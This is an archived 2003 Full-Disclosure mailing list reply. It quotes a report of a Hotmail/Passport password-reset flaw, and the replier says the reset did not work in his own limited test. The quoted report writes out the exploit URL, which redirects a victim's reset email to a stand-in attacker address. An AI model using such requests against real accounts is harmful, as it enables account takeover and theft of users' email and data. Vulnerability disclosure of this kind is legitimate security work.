RE: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability

From: Christopher F. Herot (cherot_at_appliedmessaging.com)
Date: 05/08/03

  • Next message: dong-h0un U: "Re: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability"
    To: <mfrd@attitudex.com>, <full-disclosure@lists.netsys.com>
    Date: Thu, 8 May 2003 00:05:39 -0400
    

    I just tried this. It does indeed generate the "reset password" email
    and link, which is scary, but following the instructions does not really
    reset the password, at least not for the limited test I performed.

    > -----Original Message-----
    > From: Muhammad Faisal Rauf Danka [mailto:mfrd@attitudex.com]
    > Sent: Wednesday, May 07, 2003 10:51 PM
    > To: full-disclosure@lists.netsys.com
    >
    > Hotmail & Passport (.NET Accounts) Vulnerability
    >
    > There is a very serious and stupid vulnerability or badcoding in
    Hotmail / Passport's (.NET
    > Accounts)
    >
    > I tried sending emails several times to Hotmail / Passport contact
    addresses, but always met with
    > the NLP bots.
    >
    > I guess I don't need to go in details of how cruical and important
    Hotmail / Passport's .NET
    > Account passport is to anyone.
    >
    > You name it and they have it, E-Commerce, Credit Card processing,
    Personal Emails, Privacy Issues,
    > Corporate Espionage, maybe stalkers and what not.
    >
    > It is so simple that it is funny.
    >
    > All you got to do is hit the following in your browser:
    >
    >
    https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmai
    l.com&id=&cb=&prefem=attac
    > ker@attacker.com&rst=1
    >
    > And you'll get an email on attacker@attacker.com asking you to click
    on a url something like this:
    >
    >
    http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLN
    um=0&lc=1033
    >
    > From that url, you can reset the password and I don't think I need to
    say anything more about it.
    >
    > Vulnerability / Flaw discovered : 12th April 2003
    > Vendor / Owner notified : Yes (as far as emailing
    them more than 10 times is concerned)
    >
    >
    > Regards
    > --------
    > Muhammad Faisal Rauf Danka

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: dong-h0un U: "Re: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability"

    Relevant Pages

    • Re: whats up with Windows Live Hot Mail?
      ... you must reset it before you can sign in to ... To reset your password by requesting a password reset e-mail: ... I can login to Windows Live, rather my zone.msn.com setup will accept the ... same email and password that I have setup for hotmail. ...
      (microsoft.public.windows.vista.administration_accounts_passwords)
    • Re: OE with Hotmail
      ... I can't sign in using the same password I have always had and I can't reset ... it because it says that my hint isn't correct. ... really need to get the email from my old hotmail account. ... but after doing a reinstallation I have lost my hotmail settings and ...
      (microsoft.public.windows.inetexplorer.ie6_outlookexpress)
    • Re: Cant read or delete emails in hotmail
      ... Reset your browser settings, if you use the web interface for hotmail. ... see IE, Tools menu, Options, Advanced tab, 'Reset' button. ... Please use the Communities guidelines when posting. ...
      (microsoft.public.windowsxp.help_and_support)
    • Re: Lost password & Security Question
      ... question of one of my hotmail accounts. ... the Hotmail system does not support this type of password reset.. ... for the not so honest user question ...
      (microsoft.public.security)
    • Re: How do I hard reset my PPC?
      ... the instructions are so clear and their failure to work was so obvious. ... the cab files installed by T-Mobile). ... How do I perform a hard reset? ... this doesn't work (it only performs a soft reset). ...
      (microsoft.public.pocketpc)